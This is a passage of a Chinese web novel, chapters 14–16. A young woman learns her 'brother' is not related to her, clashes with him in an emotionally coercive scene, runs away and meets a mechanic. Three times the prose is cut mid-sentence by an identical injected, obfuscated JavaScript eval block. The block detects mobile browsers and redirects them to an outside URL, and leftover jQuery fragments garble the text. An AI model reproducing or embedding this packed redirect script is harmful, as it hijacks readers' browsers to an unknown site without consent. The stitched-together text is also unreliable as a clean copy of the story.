从来没有,或许以后也不会有。 她有些心软了,徐寅安伸手抱住她的时候她没有推开。 “……不要。” 她听见男生的哭泣融进雨水里。 不要。 不要逃跑。 不要背叛拥抱。 不要让她被雨淋到。 14. 听话 雨越下越大。 从徐寅安的心口湿到黎予礼的肩膀。 她推开这个充满夏季闷热气息的怀抱,雨声潇潇,蝉鸣喧闹。 她知道这是离别的信号。 男生本不算坚强的臂膀渐渐变得软弱,黎予礼的目光已然越过他。 雨丝越来越密集,视线难以聚焦。 她看到自己微微飘扬的发线上挂满了晶莹水珠,看到黎宴琛撑着一把黑伞定定站在不远处。 他的表情隐在伞下阴影里,隔着雨幕叫人难以看清。 黎予礼不知道自己是否该走向他。 哥哥手里的伞很大,足以庇佑她。比起少年人并不宽阔的肩膀,或许那才是她该回到的地方。 她抬眼看向徐寅安,雨滴落在她扬起的嘴角,把笑容定格在了彼此青春里的最后一秒。 “再见。” 这是黎予礼第一次这么正式地告别。 她从徐寅安身边走向黎宴琛的时候,破天荒觉得原来自己和哥哥之间的距离有这么远。 远到她的腿脚像灌了铅。 她本以为黎宴琛会数落她两句,还为此提前做好了心理准备,可没想到哥哥只是沉默地把伞倾斜向她。 声音比雨还轻:“回家吧。” 黎予礼紧抿双唇,乖乖点头。 坐车回去的路上,她忽然有些后悔。 后悔自己当初为什么要答应徐寅安,为什么要一时冲动开始这段看不到结果的关系。 黎宴琛见她一副心事重重的模样,特意把车内电台音量调至最小,生怕她被任何动静打扰。 其实黎予礼并不是因为失恋而惆怅,更多的应该是对前路未知的迷茫。 像车子驶入地下库,光线骤然黯淡。 她好像变成了一个没有魂魄的提线木偶,机械地跟在黎宴琛身后,一言不发地回到了家。 黎宴琛以为她是过于伤心,不敢多问,连去厨房备菜的动作都变得小心翼翼。洗菜切肉怎么可能完全没有声音,本来十分钟能解决的事情硬是被他放慢拉长到半个小时。 黎予礼的肚子不争气地咕噜了一声。 她从客厅走向餐桌边,在没有一盘菜端上桌的情况下拉开椅子坐下。 两手交叠搭在桌面上,像读书时趴桌子打瞌睡那样,这个姿势让她不得不抬眼望着黎宴琛。 “肚子饿了?” 他把抽油烟机的模式换成较为低噪的,探身看了一眼客厅的挂钟。 黎予礼摇摇头,不情不愿地用手撑直身体,扁了扁嘴问:“如果重来一次我还是考不上怎么办?” 黎宴琛显然没想到她脸上的忧虑是因为这个。他放下锅铲,把岛台内置电磁炉档位调到最小,甚至洗净了双手,再打开冰箱拿出一盒没开过的NFC桃汁给黎予礼倒了一杯。 玻璃杯里的粉色液体飘散着好闻的、甜甜的果香,黎予礼的注意力瞬间分散。 “重来一次最需要的是勇气,而非预知结果的能力。” 他把电磁炉的火慢慢调大,食材经过烹煮散发出的味道令饥饿感加倍。 “我能保证的是,无论你对复读成绩是否满意,我都会让你拥有选择的余地。” 番茄浓汤咕嘟咕嘟冒着泡泡,黎宴琛的承诺可比一顿佳肴更令人安心。 一杯桃子汁下肚,她把空杯子推回去示意哥哥再倒。 “你最近是不是特别忙啊?” “嗯,”黎宴琛拧上瓶盖,顺便从橱柜里拿了两副碗筷,“应该还得忙上一阵子。” “那你忙你的,我去复读不用你接送。” 黎予礼直白说完,看到哥哥的表情后才意识到自己的心思过于明显,心虚地把脸埋进杯子里。 不过黎宴琛只是淡淡地盯着她,没有多说什么:“你的自行车在储藏室,需要的话我明天收拾出来给你。” 甚至大发慈悲将没收的“犯罪证据”返还。 “要!”黎予礼的眼睛变得亮晶晶。 她双手捧着杯子,仰头望着黎宴琛,餐桌挡住了她高兴得翘起的脚。 高兴得眼睛弯成了月牙,她没有发现黎宴琛强行压抑的嘴角不小心露出了短暂一瞬的笑意。 黎蓝瑛知晓了她决定复读的消息后立马找人联系咨询,几番挑选后给黎予礼报了一所私立复读学校。 学费高昂,师资力量专业,是不二之选。 黎家人总是会给她最好的。 “没什么落下的吧?” 报名后正式开始上课的第一天,小姨非要一起来送她。 兴师动众,让黎予礼难以招架:“没有啦小姨,又不是升学第一天,我已经不是小孩子啦!” 可不是嘛,还有四个月她就满十九岁了。 黎蓝瑛抬手摸了摸她的头发,语重心长:“你可别给自己太大压力啊,学累了就打电话给你哥,让他接你回家休息。” “知道啦!”她皱了皱鼻子,视线越过小姨看向站在车前的黎宴琛。 她以为哥哥会像小姨这样,有什么话要交代。可他却只是把手里的保温袋递过去,一句话也没说。 袋子里是一盒冰镇的桃子果切。 “去吧。”黎蓝瑛冲她挥挥手。 她才刚转身,又突然想起了什么猛地回头:“我的自行车。” 黎宴琛一手揣在裤子口袋里,淡淡答她:“晚点让司机给你送过来。” “谢谢哥哥!” 黎予礼已经很久没有这样称呼过他了。 妹妹小跑着走向校门时,他眼尖发现她左手手腕上已没了昔日的繁杂装饰。 只余那条细细的红绳,和他送给她的手链。 * 复读生活比黎予礼想象中更为枯燥,学习习惯并不是一朝一夕就能被轻易改变。 曾经和她同窗的同学们或许一心都奔着高考,但如今和她一个教室的学生并不是谁人都肯付出努力。 说小话、传纸条都是常有的事,更有甚者公然影响老师讲课,丝毫不把课堂严肃放在眼里。 黎予礼想到自己也曾是这副招人厌的模样,心说原来人真的无法共情曾经的自己。 她早在高考前那一百多天里学会了集中注意力,但庞大的迷茫和孤独还是在第一次月考不升反降的成绩里将她裹挟。 承认自己天赋有限不难,但接受自己平庸并不简单。 黎予礼开始陷入深深的自我怀疑。 新学校的老师不像以前市高那些,总看在她家里人的面子上包庇她,如今批评和指责已经是家常便饭。 更何况花大价钱来私立学校复读的人多半都和她一样是富家子弟,纨绔在此比比皆是。 她学会了收敛锋芒,尽量不让自己处在人群焦点处。 可天生优越的外貌决定了她不可能做个透明人,班里总有恶心的男生对她评头论足。 黎予礼起初并不在意,事不关己高高挂起是最好的屏障,偏偏这个态度在喜欢从众的群体生活里成了特例独行。 又不知是谁打听到了她家里的事情,八卦和闲话在添油又加醋的转述里逐渐变味。 她听到有人议论她无母无父。 她听到有人造谣她命里克亲。 “欸你们听说了吗?她之前是市高的,我有朋友和她是同学,她以前还早恋呢!” “难怪复读啊,都早恋了怎么可能考得好?” “这算什么?我爸的公司还和他们黎家有来往呢,你们知道她有个比她大七岁的哥哥吗?” “真的假的?不是说她又没妈又没爸吗?” 刺耳的话语像细密的针扎进她的耳膜,仿若失聪的痛感直抵大脑。 黎予礼攥紧了手里的水性笔,墨渍从笔尖晕开,她用力得指关节发白。 “当然是真的,我爸说她那个哥也不是什么善茬,一家子都没个正常人。” “她哥怎么了?比她这个怪胎更奇葩?” “她哥就是那种为了达到目的不择手段的人,说不定她这样子就是她哥养出来的……” 凳子脚快速摩擦地板发出巨大声响,黎予礼猛地站起身,一个健步冲到那个碎嘴的男生面前。 她一手攥着男生的衣领,一手拿着的笔恰好悬停在某颗瞪大的眼珠子上方。 只要她再往下三厘米,笔尖就会直直戳进男生充满恐惧的瞳孔里。 “你再多说两句,我的手可不长眼睛。” 围在一旁的同学被她的气势吓回了座位,聪明人都知道不该惹是生非。 但死要面子烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855446|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊严的纨绔子弟怎么可能忍气吞声给她道歉,梗着脖子口出狂言:“要想人不知除非己莫为!你有本事放开我,咱俩公平对决。” 公平? 一个Y染色体在和她谈公平? 黎予礼“大人不计小人过”,冷笑一声松开了男生的衣领:“直接道歉吧,我没时间跟你玩过家家。” “我呸!”男生见状立刻后撤,“你和你哥就是有妈生没爸养的东西!” “哐——” 黎予礼一脚揣在了男生的下半身,那畜牲疼得不自觉腿软往后倒,胡乱扒拉的手还撩倒了几张椅子。 她以为她学生生涯里第一次打架经历要就此史书,可惜班里最喜欢打报告的同学稳定发挥,不出两分钟班主任就赶到了现场,厉声制止了他俩。 “黎予礼!你来我办公室一趟。” “……老师你只记得我的名字是吗?” 她不情不愿地跟在班主任身后。 男同学犯错就是一个巴掌拍不响,女同学犯错就是直接叫家长。 太经典了。 太可笑了。 她接过班主任的手机,对屏保上穿开裆裤的男宝翻了个白眼,慢悠悠地给黎宴琛拨了电话。 “和同学打架了,学校要请家长。” “……” “你要是太忙也可以不来……” 手机被班主任夺过去:“黎予礼的家长您好,我是她的班主任,请问您方便来学校一趟吗?她和同学起了争执后大打出手,我这边也得给受害同学一个交代。” 大打出手? 受害同学? 黎予礼真后悔自己刚刚没再踢准一点,最好让那个男生半身不遂。 班主任等不到她主动忏悔,等到了飞速赶来学校的黎宴琛。 “黎予礼家长,我们当老师的也很为难,只要她肯道歉……” “我倒你个泡泡茶壶!” 黎宴琛拽住她,表情严肃:“贵校教室应该装有监控,您单方面说她对同班男同学拳脚相向,恕我不能在未知全貌的情况下听信一面之词。” 黎予礼听到哥哥护着她,立马站到他身后,撒娇似的去捏他的西服马甲下缘。 “如果看完监控后发现此事另有隐情的话,我希望您能当着全班同学的面妥善解决。”黎宴琛察觉到她的动作,反手握住她的手腕,“如果没什么事的话,今天我就先带她回家休息了。” 黎予礼不擅长算账。 但一顿骂换来半天假,不亏。 黎宴琛一直拉着她,走到停在校门口的宾利车旁也没舍得松开。 “怎么回事?”他一改方才护短的态度,冷静询问。 黎予礼想抽出手,却发现哥哥的力道过大,手链或许都在他掌心的施压下硌出了印记。 “哎呀就是一点小矛盾。”她可不想复述那些不堪入耳的话。 “到底怎么回事!?”黎宴琛抬高了音量,又沉又重的语气惊得她一震。 黎予礼挣脱不开他的牵制,任性的脾气一点就着。 “他*的明明就是他欠揍!” “不许说脏话。” 黎宴琛靠坐在车前引擎盖上,把黎予礼拽到自己面前更近的位置。 被俯视的压迫感令她很不爽。 她怒目圆瞪,因为她知道黎宴琛总会在这样无声的博弈里败下阵。 他果然长叹了一口气,手上力度骤减,骨节分明的长指不知何时绕进了她腕上的红绳圈里。 像主动放弃自由的困兽。 未被驯化的兽性随时都可能暴露。 “有没有受伤?”他肩膀微微向内扣,指腹轻轻在她凸起的腕骨上打圈。 黎予礼知道这是妥协的肢体语言。 她摇摇头,很想告诉黎宴琛自己为什么会因同学的三言两语而愤怒。 “是不是我太惯着你了?” 看似自省的话语让她认清了事实,心里的委屈缓慢占据了胸腔。 “我这段时间是很忙,没空管着你,但不代表我以后都不会管你了。我知道你很讨厌我这样,但予礼你可不可以稍微听一听哥哥的话……” 黎宴琛唠叨未完,被她甩手打断: “你又不是我哥我凭什么听你的?” 15. 恶心 “……你说什么?” 黎宴琛几乎要听不见自己的声音了。 周遭好像突然变得很静很静,显得他们的呼吸和心跳过于吵闹。 黎予礼站在马路牙子上,恰好能与靠坐在车前引勤盖的黎宴琛平视。 可他向上的视线总让她错觉自己居于上位者。 “我说,”她情绪平静不少,声音也变轻,“你演得累不累啊?” 听言,黎宴琛眉宇间的褶皱更深了。 他这副揣着明白装糊涂的模样让黎予礼十分不悦。 “非要我把话说开吗?”她冷笑时下意识耸起肩膀,双手顺势抱臂。 是心理学上没有安全感的防御状态。 “你根本就不是我哥哥,还整天装得有多关心我、多照顾我……” 亲手将伪装撕开的感受比想象中更痛,黎予礼深吸了一口气,伸出一只手指向黎宴琛的左胸口。 指尖用力往上抵,仿佛在隔着皮肉指责他的心脏。 “你这里面藏着什么?嗯?” 黎宴琛没有回答,看向妹妹的眼神里好似闪烁着因害怕而产生的不确信。 他抬起自己戴着红绳的右手,紧紧握住黎予礼戳在他心口的指节,试图用掌心温度道歉。 可惜黎予礼压根不接受,猛地抽出手,像是不想再和他有任何肢体接触。 但她的反应力哪有一个年长她七岁的高大男性快,黎宴琛没有给她机会逃离。 他攥着她的手腕:“你先跟我回家。” “回什么家!?”黎予礼眼看自己无法挣脱,下意识拔高了音量,另一只手用力去掰黎宴琛箍着她的手指。 可惜都是徒劳。 “那是你家不是我家!”她好不容易平静的情绪被再次点燃,愈发激动。 她转身想跑,黎宴琛干脆伸手拦住她的腰,只轻轻一带她就双脚悬空。 “你!你放开我!” 黎予礼只能胡乱挣扎,手肘和脚后跟好几次踢打到黎宴琛,可后者好像全然不觉似的,仍稳稳地抱着她。 甚至能空出一只手去打开副驾驶的车门,在保证黎予礼不磕碰到任何硬物的前提下把她放到座位上。 她正想趁黎宴琛绕到驾驶座的空档开门逃跑,谁知他立马用钥匙给车上了锁,再单独打开主驾驶的车门上车。 “你是什么人贩子吗?你这算拐卖,我可以报警的。” 黎予礼侧身瞪着他,但这样的视线对黎宴琛来说大概没有任何杀伤力。 他竟慢悠悠地从自己的西服口袋掏出手机递给她:“报警电话是110,不用谢。” 又在黎予礼气极反笑之时伸手帮她把安全带系上。 仿佛是囚困她的枷锁一般。 黎予礼捏紧手机,愤怒无处发泄,在车子开出学校路段后忽然倾身想争夺方向盘。 车子猝不及防地变了个道,黎宴琛单手握紧方向盘,另一只手强行制止她的任性。 可她好像抱着同归于尽的必死心态,不停干扰他开车。 “黎予礼!”他忍无可忍厉声高喝,“你是想体验一下妈和爸临死前是什么感受吗?” 黎予礼闻言瞬间愣住了,不情不愿地收回手。 她没想到黎宴琛会拿这件事来压她。 她挫败地坐回副驾驶座里,整个人靠着车门。 片刻后,才闷闷地开口:“……是谁妈谁爸还不知道呢。” 黎宴琛听到了她的喃喃自语,淡淡地瞥了她一眼,兀自加重了踩油门的力度。 从宾利驶入地下库开始,这段由明亮到昏暗的路兄妹俩走过无数次。但没有任何一次像今天这样,让黎予礼深切地意识到她和黎宴琛不是同路人。 她也以为这段虚假的兄妹关系能够安稳地维持到她离开的那天。 是她太天真了。 天真地贪恋黎宴琛对她的好。 肮脏又恶心的一己私欲。 黎予礼知道在黎宴琛眼皮底下她没有办法轻易脱逃,于是只能假装乖巧跟着他回了家。 这个她生活了19年的地方承载的所有回忆,好似都在她踏入的这一瞬间坍缩成陌生的灰烬,令人窒息。 “我们聊聊。” 黎宴琛慢条斯理地脱下西服外套,仿佛是在卸下他的虚假。 “聊什么?”黎予礼没好气地问,站在沙发边迟迟不肯坐下。 像个手脚无措、浑身不自在的客人。 黎宴琛见她倔强地站在原地,沉沉叹气:“你知道了多少?” 事到如今,他还是不打算全盘托出。 还试探性地问她知晓多少。 黎予礼耐心全无:“我要是什么都不知道,你打算瞒我一辈子吗?” 打算一辈子假扮我的哥哥吗? 打算一辈子用这虚假的亲情将彼此捆绑吗? “予礼,”黎宴琛的语气听上去过于冷静,“在法律和血缘关系上我确实不是你的哥哥,但我一直……” “一直什么?”她冷笑着打断,“一直把我当成你的亲妹妹?” 黎宴琛一向平静如死水的瞳底明显泛起波澜。 可惜黎予礼视而不见。 “你恶不恶心啊黎宴琛?” 她俯视着他质问,直呼他的姓名,偌大的客厅好像变成了审讯室。 黎宴琛是十恶不赦的罪人。 “你明知道我不是你妹妹,你还在这个家里只剩我和你的时候,在我还没有成年的时候……!” 黎予礼激动过了头,差点喘不上气,生生咽下了自己无端又充满恶意的揣测。 “你知道你身为一个成年男性,以隐瞒欺诈为前提和一个与你毫无干系的女性同居意味着什么吗?” 其实黎宴琛从来没有对她做过任何逾矩的事情。 哪怕是他们还在维持虚假兄妹关系的时候。 他一直很有分寸。 黎予礼初中毕业后他就不再承包她的衣柜,她的任何衣物都由她自行挑选购买,他只负责出钱。 更别说其他方面了,他甚至连黎予礼的卧室都不会主动进。 但黎予礼不知为何觉得好恶心。 她一想到自己人生接近七千天的时间里是和怎样一个虚伪的陌生男人同住一个屋檐下,她就忍不住干呕的生理反应。 “予礼,我真的一直把你当成我的妹妹。” “别叫我的名字。” 事到如今黎宴琛怎么解释她都不会相信,甚至连他口中的名字可能都不属于她。 “我不是你们黎家的小孩,对吗?” “……” 黎宴琛只是抬眸看她,没有回答。 又是沉默。 又是令人难以喘息的沉默。 黎予礼自暴自弃地抛出猜测:“我是领养的?” 不对,领养的应该会在户口本上。 “隔壁谁家不养了扔给你的?” 黎宴琛什么也不说,她这个时候哪还想得起黎蓝瑛说过的话,眼泪在焦急间夺眶而出:“你说话啊!” 这个永远在审讯时实行缄默权的男人终于因为她眼角滑落的泪滴而乱了阵脚,站起身慌乱地想要把她搂进怀里。 “予礼,你别哭……” “你别碰我!” 黎予礼狠狠地拍开他的手,仿佛沾上了什么脏东西似的露出厌恶的神色。 家里的气氛第一次变得如此冰冷。 明明身高接近一米九的黎宴琛,肩线竟然低垂得快要和黎予礼齐平。 在黎予礼的视角可以清晰看到他紧绷的下颌线里在隐隐发力,往常锋利的面部轮廓也变得柔和,像被砂纸磨平的刀刃。 他的目光好似一直落在黎予礼左手腕的红绳上。 好似把微弱渺茫的希望寄予在这条一扯就断的羁绊上。 “予礼……”他还是固执地把妹妹的名字含于唇齿之间。 固执地想要将一切恢复到完美的假象破灭前。 “只要你愿意,哥哥永远都是你的。” 黎予礼还在气头上,根本没听出来这句话和“我永远都是你哥哥”有什么区别。 她耸肩嗤笑:“你还真会给自己贴金,我为什么要一个骗子当我的哥哥啊?” 黎宴琛听到她这样的嘲讽竟也没有恼怒,反倒像魔怔了一般凑近她耳边重复。 “你的哥哥只能是我……” “……是不是亲生的有什么区别吗?” “你说什么?” 她好像在黎宴琛身上嗅到了危险的气息,可男人已经在她还未察觉的时候堵住了她的去路。 她不知何时被他整个人困在怀里。 若即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855447|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若离的肌肤接触令她头皮发麻,她抬手想推开黎宴琛,却发现怎么使劲也没用。 “不许走……不许离开我……” 黎宴琛不断对着她喃喃耳语,低沉的嗓音像念咒一般让人头痛不堪。 “是你……是你让我成为了你的哥哥……” 什么? 黎予礼已经无暇思考,她一心只想挣开这个怀抱。 像在潮湿雨天的角落里疯狂生长的苔藓。 好恶心,好恶心。 她从来没有见过黎宴琛这副模样,那个衣冠楚楚、彬彬有礼的男人好像一瞬间不复存在。 “你放开我……!” “哥哥……哥哥永远都是你的……” 即使是这样密不透风的拥抱,黎宴琛也没有得寸进尺地索取更多,只是不停地剖白自己,以表忠心。 或许他也不知道自己会失控,不知道自己淌着咸涩泪水的嘴角会不小心贴上黎予礼的耳朵。 仅此短暂一瞬的触碰。 滚烫,刺痛。 黎予礼几乎是立刻应激,抵着他胸膛的手用力一扇,结结实实的巴掌把他打得措手不及,松开了这个本就不该属于他的拥抱。 妹妹用手死死捂着嘴,双眼惊讶得瞪大,难以置信地往后撤。 看向他的目光太过复杂。 有震惊、有厌恶。 有太多他看不懂的情绪。 原来他已经不再像从前那样了解黎予礼了。 原来他真的留不住她了。 “砰——” 家门关上发出的巨响,一并震落了黎宴琛的心脏。 黎予礼什么也没带,身无分文跑了出去。 她脑子里一片空白,不知道自己要去哪里、不知道自己能去哪里、不知道自己该去哪里。 跌跌撞撞地跑到楼下,想起自己昨天回家把自行车停在了小区遮阳棚下。 离家出走还能有个代步工具,不算太差。 她骑得很快,即使是下坡路段,她也没有按压刹车制动。 什么交通规矩都不放在眼里了,横冲直撞的,就好像她没有目的地的人生一样。 为什么。 为什么她要拆穿。 黎予礼破天荒地后悔了,甚至在肾上腺素狂飙的时刻觉得自己是个彻头彻尾的蠢蛋。 优渥的家庭不待,宠她的哥哥不要。 她忽然想起黎宴琛方才那句“是你让我成为了你的哥哥”。 什么意思? 难道说她才是黎家亲生的,而黎宴琛是她选中的哥哥? 怎么可能。 打从她记事开始这个家里就有黎宴琛存在。 思绪越来越乱,黎予礼没有留意到骑行道不远处的斑马线上正走过一个推着婴儿车的女人。 她为了避让紧急刹车,可高速下制动前轮极易造成翻车事故。 果不其然,她连人带车倒向了旁边的人行道上。 “你没事吧?”推婴儿车的女人立马上前查看。 她却只是摆摆手:“我没事,您和孩子没受伤就好。” 女人本想替她叫一辆救护车,但她站起身后觉得只是些皮外伤,便道了感谢并回绝。 毕竟她现在身无分文,别说救护车,创可贴她也买不起。 就是可怜了她的爱车,前轮圈扭曲、前三角变形、车把转向异常、链条断裂。 阳寿将至,必修无疑。 要不是这辆车是以前小姨买来送给她的生日礼物,她兴许想着换辆新的算了。 没办法,她只能推着车到处找修车行。 虽然没钱,但好心老板说不定会看在她可怜的份上允许她赊账。 碰没碰上好心老板不知道,黎予礼疑似找到一家没有挂牌的修车店。 若非闻到了浓重机油味、听到了金属碰撞声,她都不敢确认这里是修车还是修什么的。 “您好,请问……” 她话音未落,一个穿着白色T恤但把袖子卷到肩膀的男人从一辆拆得就剩个架子的车底探出脑袋。 即使他躺着,黎予礼也能看出他的五官硬朗,眼眶深邃。 向下垂的发线透着张扬,紧闭的双唇好似天生带着上翘的弧度。 她对着一屋子的破铜烂铁问: “这里能修自行车吗?” 16. 修车 男人用手扒住车架子,像做引体向上的姿势。黎予礼看见他臂膀肌群明显一紧,虬结的筋肉在较为粗糙的皮肤下更为突出。 用力起身的模样竟能给人游刃有余的感觉。 她这才发现男人个子很高,大概和黎宴琛差不多。 腰间松松垮垮地系着一件薄牛仔外套,工装裤的口袋东一个西一个装着修理工具。 在这满是机油污渍的空间里,男人的白色T恤竟出奇地干净。 “这辆?” 男人用扳手指着她的自行车,轻轻挑起的眉毛下一双含笑的丹凤眼却盯着她。 目光是凝视还是欣赏,黎予礼分得清。 但男人眼神里更多的应该是充满关切的打量。 “嗯,”她毫不怯场直直对上男人的视线,“能修吗?” 男人没有回答,把扳手放到了一旁,走向店里的柜台后翻出来一个不小的收纳箱。 在黎予礼看不清的角落里挑挑拣拣,还时不时朝她望两眼,最后一只手拿上选好的东西走回她面前。 碘伏、棉签、创可贴、无菌纱布、云南白药喷雾。 黎予礼皱了皱眉。 她第一次知道人的手可以这么大。 “伤到筋骨了吗?” 男人的目光又移到她的裸露在外、明显擦伤的皮肤上。 “谢谢,”她摇摇头,用上两只手才足以接过男人拿着的全部药品,“应该没有。” “应该?”男人重复她的话,接着看向她那辆“半身不遂”的自行车,“阿普兰摔成这样,你确定你没事?” 黎予礼哪里了解自行车牌子,耸了耸肩一脸无所谓:“可能它质量没我好吧。” 她不知道为什么男人的关注点一直在她的伤情上。 男人被她的玩笑逗乐,勾起唇角却没再过问,上手仔细查看了一下这辆运动自行车的损毁程度。 “怎么摔的?” “……避让行人。” 男人像是没话找话似的,黎予礼有些不想搭理了。 “能修,但是我店里没有原装零件,你如果不着急的话可以等我采购完再来。”男人拍了拍车座椅。 “不着急,”黎予礼刚准备摇头,忽然又改了口,“啊,还是有点急,一定得用原装零件吗?” “也……不一定,”男人双手交叠在胸前,看上去对黎予礼好像有些好奇了,“你家只有这一辆车吗?” 肯花五位数买运动自行车代步的家庭可不一般。 男人多半有什么猜测。 黎予礼没有正面回答:“能先把车放在你这里吗?我没带手机,过两天我再来付修理费。” 男人闻言微微眯起了双眼,舌尖轻轻舔过上槽牙。 他看向那些一直被黎予礼拿着不用的医药物,伸手示意她还给他。 她误以为男人把她当成了没钱的骗子,小气得连两瓶药也要跟她计较。 但她确实没办法证明自己,只能把属于人家的东西还回去。 然而男人并没有她想象中那么坏。 接过碘伏后当着她的面拧开,拿棉签沾取适量,竟俯身想替她擦拭手肘处的破皮伤。 她自然下意识躲开,对陌生人抱有一定的警惕心。 男人没有强求,把棉签递给她。 他用两指夹着棉签棒的动作和拿烟很像。 “离家出走了?” “……?” 她再度皱眉,想不通男人是怎么猜中的。 不等她思考出该找什么借口搪塞面前不明身份的男人时,一个圆寸红毛吹着口哨走进店里。 “桀哥!”红毛走过来时视线就移到黎予礼身上了,“这你……” 被称为“桀哥”的男人预判似的迅速伸出手,优越的臂展长度让他能够轻易捂住红毛的嘴。 他使了个眼色:“去把昨天那辆金吉拉的刹车片换了。” 红毛好像对他言听计从,一边点头一边对着自己的嘴巴做拉拉链的动作。 黎予礼举着棉签环顾四周,延迟观察这个看起来不太正规但莫名让人觉得专业的修车行。 看了一圈之后再次对上男人的视线。 “你看起来不像未成年啊,”男人从裤子口袋里掏出手机,“给你家长打个电话吧,不然等警察找到这里我跳进黄河也洗不清。” 黎予礼看着他递过来的手机,脸色变得有些阴沉:“我是成年人。” “是吗?”男人换上一副像和小朋友说话的幼师语气,“那你知道身无分文、没有手机、瞒着家里一个人在这附近晃悠有多危险吗?” “你不能修就算了。” 黎予礼懒得跟他废话,两步上前想要推走自己的自行车。 男人动作比她快,抢先一步摁住了车头:“等等,我没说我不能修呀。” 天生微笑唇大概也不是什么好事,她开始觉得男人似有似无的笑容特别欠揍。 “你先把药擦了吧。” 男人恢复正经,单手握着自行车前杠,看上去毫不费力就把车子拿到了一旁。 这里没个落脚的地方,黎予礼只能干巴巴地站着擦药。男人见状往店里一处紧闭的门走去,从门后面拿出来一把干净如新的椅子放到她身旁。 还挺讲究。 她假装不情愿地坐下,其实早就站累了。 “桀哥!”刚刚那位红毛的声音从店面后方传来,“我有点搞不定!” 黎予礼猜测这个修车行应该很大,除了紧闭的门之外还有一个通向别处的出口。红毛刚刚就是从那儿走的,她估计后面有一片空地用于停放待修理的车辆。 男人竟有些不耐烦,脚上像钉了钉子一样:“我白给你发工钱了,换个刹车片都不会?” “你去吧。” 黎予礼坐在椅子上悠悠开口。她一手摇晃着云南白药气雾剂,一手慢慢卷起裤脚。 “我不会偷你东西的。”瓶身在她的按压下发出“嘶”的声音。 她明显误会了男人对她寸步不离的原因。 男人本就上翘的唇形里溢出一丝笑意,没有对她的口头保证作出任何回应:“你介意我暂时把门关上吗?” 怕她跑? 黎予礼眼珠子一转:“不介意,但我不会跑的,我也跑不远。” 听到她这话,男人不再压抑笑声,走到门口抬起手,十分轻松地拉下了卷帘门。 座条触地的声响不轻,男人单膝蹲在门边回身看她:“你的安全意识不太够啊,宝贝。” 黎予礼被这突如其来的亲昵称呼吓得起了鸡皮疙瘩,一脸恶寒瞪向男人。 “你不知道这附近的治安很差吧?”男人给卷帘门上了锁,接着把钥匙抛给黎予礼,“我丢你一个人坐在这里,谁路过顺手把你拐跑了怎么办?” 原来男人还把她当未成年看。 也不知道哪来的莫名其妙的责任感。 “难道你把门关上我就安全了吗?” 黎予礼言下之意就是怀疑男人的出发点是否善意。 “对啊,”男人笑意更深了,“我也不是什么好人。” 不由分说先给药,一分钱没收答应修车。 笑容像伪装成狼的捷克狼犬,但本身是被驯化过的狗所以眼神毫无威胁性。 想学坏人吓唬她,这三好公民的样子看上去比她还纯良。 “哦,”黎予礼面无表情,“你再不去看车,刹车片要变山楂片了。” 她一本正经的玩笑提醒把男人乐得直不起腰,扶着腹部笑个不停。 “你还挺幽默,”男人好不容易缓过来,摆摆手准备往后走,“那你自己在这儿休息,我先去忙。” 黎予礼没兴趣和陌生人道别。 男人走到一半忽然停下来回头:“要不要给你点杯奶茶啊宝贝?” 黎予礼给他一记白眼。 “哈哈,给你点草莓森林三分糖标准冰?”男人像没有眼力见似的,脸上还挂着笑。 “……七分糖去冰。” 嗜甜的她勉为其难接受了男人的好意。 “好。待会儿外卖到了别自己开门,叫我出来拿。”男人低头看着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855448|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,大概是在确认点单信息。 黎予礼望向他一心二用的背影,不知为何这句唠叨让她想起了黎宴琛。 “叫你什么啊?” 男人已然走出她的视线。 “孟尽桀。” 声音却清晰地从他离开的方向传来。 孟尽桀。 黎予礼用唇舌砸吧了一下这三个字的发音。 人如其名。 不像她黎予礼,姓氏和名字或许都不属于自己。 外卖比想象中到的快,她本以为孟尽桀不需要她喊,能赶在骑手敲响卷帘门的之前回来。 才认识不到半天,这样大声直呼他人姓名多少得做一些心理准备。 黎予礼甚至深吸了一口气:“孟尽桀。” 结果被喊来的是红毛,他满头大汗问黎予礼要钥匙:“敢这么喊桀哥的人你还是头一个。” 红毛对她竖起大拇指。 “啊?”黎予礼分不清这句话是夸赞还是嘲讽,“他是什么很厉害的人吗?” 她这话倒有些阴阳怪气了。 红毛接过外卖员手里的奶茶,把卷帘门再度关上:“反正这一片的人都管他叫哥。” 什么黑老大吗……? 黎予礼忽然有些喝不下了。 “他还要忙多久?” 她握着奶茶杯,因温差而凝结在杯壁上的水珠弄湿了她的手心。 红毛三两口嗦完了自己手里的珍珠奶茶:“桀哥吗?应该还要一会儿吧。” “那我先走了,过两天来付修理费。” 黎予礼正想溜之大吉,红毛立刻叫住她:“你去哪儿?桀哥刚刚交代我你要走的话跟他说一声。” 